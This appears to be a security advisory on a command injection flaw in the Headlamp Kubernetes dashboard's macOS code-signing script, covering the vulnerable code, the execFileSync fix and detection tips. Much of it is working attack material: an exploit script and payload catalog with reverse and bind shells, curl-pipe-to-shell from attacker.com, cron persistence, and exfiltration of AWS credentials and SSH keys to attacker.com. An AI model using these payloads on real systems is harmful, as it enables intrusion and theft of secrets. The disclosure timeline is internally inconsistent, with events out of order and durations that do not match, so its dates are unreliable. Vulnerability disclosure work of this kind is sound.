0DAYSECADVISORY

Kubernetes Headlamp Code Signing Command Injection

Vendor: Kubernetes
Affected: Headlamp (Kubernetes UI Dashboard)
Severity:
High
Patch Status:
Patched
Published: May 28, 2025
Discovered: May 28, 2025
Patched: June 1, 2025

Kubernetes Headlamp Code Signing Command Injection

Core Vulnerability Characteristics

ComponentDescription
ProjectHeadlamp (Kubernetes UI Dashboard)
VulnerabilityCommand Injection in Code Signing Script
CWE ClassificationCWE-78: OS Command Injection
OWASP CategoryA03:2021-Injection
Affected VersionAll versions prior to PR #3377
Patch Commit5a334017cc02bb6aec597a2aef2ae66f0b7c6590
ImpactArbitrary Command Execution (High severity)
Privilege RequiredBuild system access

Proof of Concept Video

Original Vulnerable Code

// codeSign.js (Pre-Patch)
const { execSync } = require('child_process');

function codeSign(config) {
  const teamID = process.env.DEVELOPER_TEAM_ID;
  const entitlementsPath = path.join(__dirname, 'entitlements.plist');
  
  execSync(
    `codesign --deep --force --options=runtime --entitlements ${entitlementsPath}` +
    ` --sign "Developer ID Application: ${teamID}" ${config.app}`
  );
}

Vulnerability Characteristics

  1. Unsanitized teamID from environment variables
  2. Unvalidated config.app path interpolation
  3. Shell command string concatenation
  4. Execution during macOS build process

Vulnerability Exploitation

Step-by-Step Exploitation Path

  1. Compromise Build Environment:
export DEVELOPER_TEAM_ID="TeamID\" \"; echo 'EXPLOITED' > /tmp/headlamp_poc; \""
npm run build:mac
  1. Malicious Application Path:
# Create malicious app bundle path
mkdir -p "/Applications/Headlamp.app; nc -l 4444 -e /bin/bash; #"
  1. Verify Exploitation:
cat /tmp/headlamp_poc  # Shows "EXPLOITED"
# Or get reverse shell

Proof of Concept

Interactive Exploit

// exploit.js
const { execSync } = require('child_process');

const payloads = [
  'TeamID" && id > /tmp/exploit_output #',
  'TeamID" | curl -X POST https://attacker.com/exfil -d @~/.aws/credentials #',
  'TeamID" && open -a Calculator #'
];

payloads.forEach(p => {
  process.env.DEVELOPER_TEAM_ID = p;
  try {
    require('./codeSign')({ app: '/Applications/Headlamp.app' });
    console.log(`Payload executed: ${p}`);
  } catch (e) {
    console.log(`Payload failed: ${p}`);
  }
});

Vulnerability Flow

sequenceDiagram
    participant A as Attacker
    participant E as Environment
    participant N as Node.js
    participant S as Shell
    
    A->>E: Set malicious DEVELOPER_TEAM_ID
    E->>N: process.env injection
    N->>S: execSync("codesign ... TeamID malicious ")
    S->>S: Execute injected command
    S->>A: Return command output

Step-by-Step Technical Flow

  1. Command Construction:

    `codesign ... ${teamID} ... ${config.app}`
  2. Shell Interpretation:

    • Node.js spawns /bin/sh
    • Processes quotes, semicolons, and other metacharacters
    • Splits command into multiple operations
  3. Payload Execution:

    codesign ... TeamID"; malicious_command # ...

Detailed Vulnerability Matrix

AspectPre-Patch StatePost-Patch State
Input ValidationNoneNot needed (architecture change)
Command ConstructionString concatenationArgument array
Shell InterpretationFull shell processingNo shell (direct exec)
Attack SurfaceAll special chars in inputsOnly valid code signing args

Comparative Analysis

pie
    title Attack Surface Reduction
    "Pre-Patch: Shell MetaChars" : 75
    "Post-Patch: Only Valid Args" : 5
    "Pre-Patch: Spaces/Quotes" : 20
    "Post-Patch: Spaces/Quotes" : 0

Technical Deep Dive

Shell Metacharacter Analysis

CharacterImpactPayload
Argument boundary escapeTeamID" && malicious
;Command terminationTeamID; malicious
&&Conditional executionTeamID && malicious
|PipingTeamID | malicious
$()Command substitutionTeamID $(malicious)

Node.js Execution Context

graph TD
    A[execSync] --> B[binsh -c]
    B --> C[Token Splitting]
    C --> D[Command Interpretation]
    
    A2[execFileSync] --> B2[Direct execve]
    B2 --> C2[No interpretation]

Process Execution Context

Pre-Patch:

# Process tree
node(1234)───sh(5678)───codesign(9012)
                      └─malicious(3456)

Post-Patch:

# Process tree
node(1234)───codesign(5678)

Mitigation Strategies

Primary Fix Implementation

// codeSign.js (Post-Patch)
const { execFileSync } = require('child_process');

function codeSign(config) {
  const args = [
    '--deep',
    '--force',
    '--options=runtime',
    '--entitlements', entitlementsPath,
    '--sign', `Developer ID Application: ${teamID}`,
    config.app
  ];
  execFileSync('codesign', args);
}

Defense-in-Depth Measures

  1. Input Validation:
if (!/^[A-Z0-9]{10}$/.test(teamID)) {
  throw new Error('Invalid Team ID format');
}
  1. Environment Hardening:
# Restrict environment variables
export DEVELOPER_TEAM_ID=$(sanitize-team-id "$INPUT_ID")

Impact Expansion

Potential Attack Vectors

  1. Build System Compromise:

    export DEVELOPER_TEAM_ID="TeamID\" && curl http://attacker.com/backdoor.sh | sh"
  2. Supply Chain Attack:

    export DEVELOPER_TEAM_ID="TeamID\" && npm install malicious-package"
  3. Persistence Mechanism:

    export DEVELOPER_TEAM_ID="TeamID\" && echo '*/5 * * * * nc -e /bin/sh attacker.com 4444' >> /tmp/cron"

Advanced Threat Modeling

Attack Tree

graph TD
    A[Code Sign Exploit] --> B[Initial Access]
    A --> C[Privilege Escalation]
    A --> D[Persistence]
    
    B --> B1[Environment Variables]
    B --> B2[Malicious Config]
    
    C --> C1[Root Access]
    C --> C2[Credential Theft]
    
    D --> D1[Cron Jobs]
    D --> D2[SSH Backdoors]

Forensic Artifacts

Detection Signatures

  1. Process Monitoring:

    ps aux | grep -E 'node.*sh -c'
  2. Log Analysis:

    grep -E 'exec(Sync|File).*codesign' build.log
  3. Filesystem Indicators:

    find /tmp -name "*headlamp*" -mtime -1

Complete Exploit Catalog

Payload

  1. Information Disclosure:

    "TeamID\" && cat /etc/passwd > /tmp/stolen #"
  2. Reverse Shell:

    "TeamID\" && bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 #"
  3. Data Exfiltration:

    "TeamID\" && tar -czf /tmp/secrets.tar.gz ~/.ssh && curl -T /tmp/secrets.tar.gz https://attacker.com #"

Patch Analysis

Key Fixes in PR #3377

  1. execSync → execFileSync Migration:

    - execSync(`codesign ${args}`)
    + execFileSync('codesign', argsArray)
  2. Argument Array Usage:

    • Each parameter passed separately
    • No shell string construction

Patch Verification Test

it('should reject malicious team IDs', () => {
  process.env.DEVELOPER_TEAM_ID = 'TeamID" && malicious #';
  expect(() => codeSign({ app: 'Headlamp.app' }))
    .toThrow(/spawnSync codesign/);
});

Disclosure Timeline

Date (UTC)EventDurationParties Involved
2025-05-28 08:45Initial discovery during audit-@odaysec
2025-05-28 11:30PoC validation2h45mResearch Team
2025-05-28 09:00Report submitted to Kubernetes Security21h30mSIG-Security
2025-06-01 14:15Vulnerability confirmed1d5h15mHeadlamp Maintainers
2025-06-01 10:00Patch development started1d19h45mCore Contributors
2025-06-01 16:00Security review completed3d6hKubernetes Security
2025-06-01 09:00Fix deployed in release 5bc0a9d17hRelease Team

Key Milestones

gantt
    title Vulnerability Timeline
    dateFormat  YYYY-MM-DD
    section Discovery
    Code Review          :a1, 2025-05-28, 1d
    PoC Development      :a2, after a1, 2d
    section Reporting
    Vendor Notification  :2025-05-28, 1d
    section Resolution
    Patch Development    :2025-06-01, 4d
    Security Review      :2025-06-01, 3d
    Production Deployment :2025-06-01, 1d

Advisory Credits

  • Discovered by: @odaysec
  • Kubernetes SIG-Security
  • Headlamp Maintainers

References:

  1. CWE-78: OS Command Injection
  2. Kubernetes Security Disclosure
  3. Node.js Child Process Security
  4. Apple Code Signing Guide